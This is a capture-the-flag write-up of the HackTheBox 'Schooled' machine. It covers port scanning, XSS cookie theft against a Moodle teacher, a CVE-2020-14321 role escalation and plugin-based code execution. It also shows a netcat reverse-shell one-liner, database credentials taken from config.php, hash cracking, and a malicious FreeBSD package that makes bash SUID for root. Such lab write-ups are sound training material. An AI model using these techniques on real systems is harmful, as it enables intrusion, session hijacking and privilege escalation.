# HackTheBox-Schooled ## Rustscan ```bash PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack ttl 63 OpenSSH 7.9 (FreeBSD 20200214; protocol 2.0) | ssh-hostkey: | 2048 1d:69:83:78:fc:91:f8:19:c8:75:a7:1e:76:45:05:dc (RSA) | ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGY8PnQ2GFk9RrUQ82xGivlyXZ8k99JFZAFlNqJIftRHSGWL3HsfaO08lnGCrqVxj3235k0L74SJAqWfJs1ykTRipcZpsI5QvwYPyqpisMgH /SdCH1wehZpgaXRwdn52ob9+GxZ6qjqIon0cH0XR1hkNIGdbTt4RRMy+IfynzVuomW2mUi0tnnXU69pcyYNMShND4PqxVDKZHwUyeDIiYVBvnL5P9qEh0Q/t0HKWFHQ8otwWEpL3jnn774RFP9ET tZsJ/xosuhty02yIZuP6vqtbWfVqcqM8v1R3jm/xjXfXxiflGO09KO2aePAbEhNEofb7V/f33dRQDv5mr9ceZ1 | 256 e9:b2:d2:23:9d:cf:0e:63:e0:6d:b9:b1:a6:86:93:38 (ECDSA) | ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBHc4TgrG+CyKqaIsk10XmAhUKULXK6Bq3bHHeJiWuBmdGS1k3Fp60OoVFdDKQj9aihkaUmbJ8f kG6dp07bm8IcM= | 256 7f:51:88:f7:3c:dd:77:5e:ba:25:4d:4c:09:25:ea:1f (ED25519) |_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPWIP8gV7SGQNoODfYq9qg1k3j6ZZg+1L9zIU9FrHPaf 80/tcp open http syn-ack ttl 63 Apache httpd 2.4.46 ((FreeBSD) PHP/7.4.15) 33060/tcp open mysqlx? syn-ack ttl 63 | fingerprint-strings: | DNSStatusRequestTCP, LDAPSearchReq, SSLSessionReq, TLSSessionReq, X11Probe: | Invalid message" | HY000 | LDAPBindReq: | *Parse error unserializing protobuf message" |_ HY000 ``` ## PORT 80 (HTTP) At the bottom we see a domain name so let's add this to `/etc/hosts` file I did not find anything intersting on port 80 also directory fuzzing was failing so we have a domain name let's look for subdomain Here it we need to hide repsone with 461 lines We found a subdomain `moodle.schooled.htb` ## Names found from subdomain ``` Jamie Borham Lianne Carter Jane Higgins Manuel Phillips ``` Other than that nothing was interesting so let's register an account It throws a lot of erros so let's fix this. We can only enroll in maths course Also we can see the teacher's profile Checking forum activity we see that there's an announcement made by the teacher Set the MoodleNet profile Now we can see that Teacher is online Here we can check for XSS So appearntly I was doing it wrong and trying the xss session hijacking here as we were the only one who were triggering the file. The announcment had a message ```bash This is a self enrollment course. For students who wish to attend my lectures be sure that you have your MoodleNet profile set. Students who do not set their MoodleNet profiles will be removed from the course before the course is due to start and I will be checking all students who are enrolled on this course. ``` So instead of injecting xss on chat , let's try on where we set moodle net profile also I used this xss cookie stelaer https://github.com/s0wr0b1ndef/WebHacking101/blob/master/xss-reflected-steal-cookie.md ``` ``` Now run the cookie stealer python script At first you'll see your own cookie but after sometime that script will be accessed by teacher's account and you'll get his session cookie , so copy the session cookie and replace it with your current session cookie After becoming the teacher , I saw an option to switch roles On moodle's there are a bunch of reported vulnerabilities so I went reading about each one seemed intersting to me And PoC was available on github https://github.com/HoangKien1020/CVE-2020-14321 So here enroll click on enrolling the user and intercept the request with burp then send it to repeater We can see that this user's id is 24 so we edit the request by enrolling the teaacher him self in the course and making him the `manager` by assigning role to `1` Now click on the other account who also has become manager and click on login as At the bottom you'll see `Site Administration` There's a problem we can't upload any vulnerable plugin so we would need to modify manager role's permissions , go to `users` --> `define role` then click on edit `manager role` and go to bottom intercept `save changes` request You'll see this , send it to `repeater tab` Replace this all with the permissions seen on PoC 's repository Now we can upload plugin Click on install You'll see this screen , don't click on continue instead trigger the remote code execution Now to get a reverse shell I tried the netcat ,bash ones but they didn't worked as this was a Free BSD box so this one worked ``` rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i |nc > /tmp/f ``` I tried to acess user's home directory but we didn't had any permissions to view it so next in my mind came about database as moodle was storing usernames so by default websites are hosted in `/usr/local/www` on FreeBSD In documentation it said that database configuration is in `config.php` , so after using the find command So mysql is running on port 3306 but since it's not a stabilized shell we can't login so we can upload `chisel` binary on the machine and forward port 3306 ``` $CFG->dbtype = 'mysqli'; $CFG->dblibrary = 'native'; $CFG->dbhost = 'localhost'; $CFG->dbname = 'moodle'; $CFG->dbuser = 'moodle'; $CFG->dbpass = 'PlaybookMaster2020'; $CFG->prefix = 'mdl_'; ``` Now we can't use mysql binary as it is not in `PATH` variable So there's directory `/usr/local` There's a binary folder which means that must be the location where all binaries i.e python,perl,bash,mysql exists so we can use python to spawn a tty shell then use mysql Python3 exists in `/usr/local/bin` so spawn and stabilize the shell We can Jamie's data there and he's a user on the box It's a bcrypt hash ,save it in a file and crack it with either hashcat or john SSH into the machine Doing `sudo -l` we can see that this user can install any package Reading the configuration file for pkg It grabs from `devops.htb` which points to a private IP But it wasn't anything we could do so , searched for freebsd custom packages and found this article http://lastsummer.de/creating-custom-packages-on-freebsd/ Which explained how you can build your own packages, so bascially what this script is doing that creating a folder in james' home directory named `stage` and a `+PRE_DEINSTALL` , `+POST_INSTALL` and `+MANIFEST` file . The article says that > You want to run post-install and pre-deinstall tasks as it makes sure your files are in place when you do the system manipulation So let's modify the script from article and make put a command that will make bash a SUID in `+POST_INSTALL` ```bash #!/bin/sh STAGEDIR=~/stage rm -rf ${STAGEDIR} mkdir -p ${STAGEDIR} cat >> ${STAGEDIR}/+PRE_DEINSTALL <> ${STAGEDIR}/+POST_INSTALL <> ${STAGEDIR}/+MANIFEST < ${STAGEDIR}/usr/local/etc/my.conf echo "/usr/local/etc/my.conf" > ${STAGEDIR}/plist pkg create -m ${STAGEDIR}/ -r ${STAGEDIR}/ -p ${STAGEDIR}/plist -o . ``` Here's what these shell scripts will do So after running the above script we will have a FreeBSD package compiled As we have sudo rights to install any package , install it with `--no-repo-update` And we can bash having a SUID so if we do `bash -p` we will get root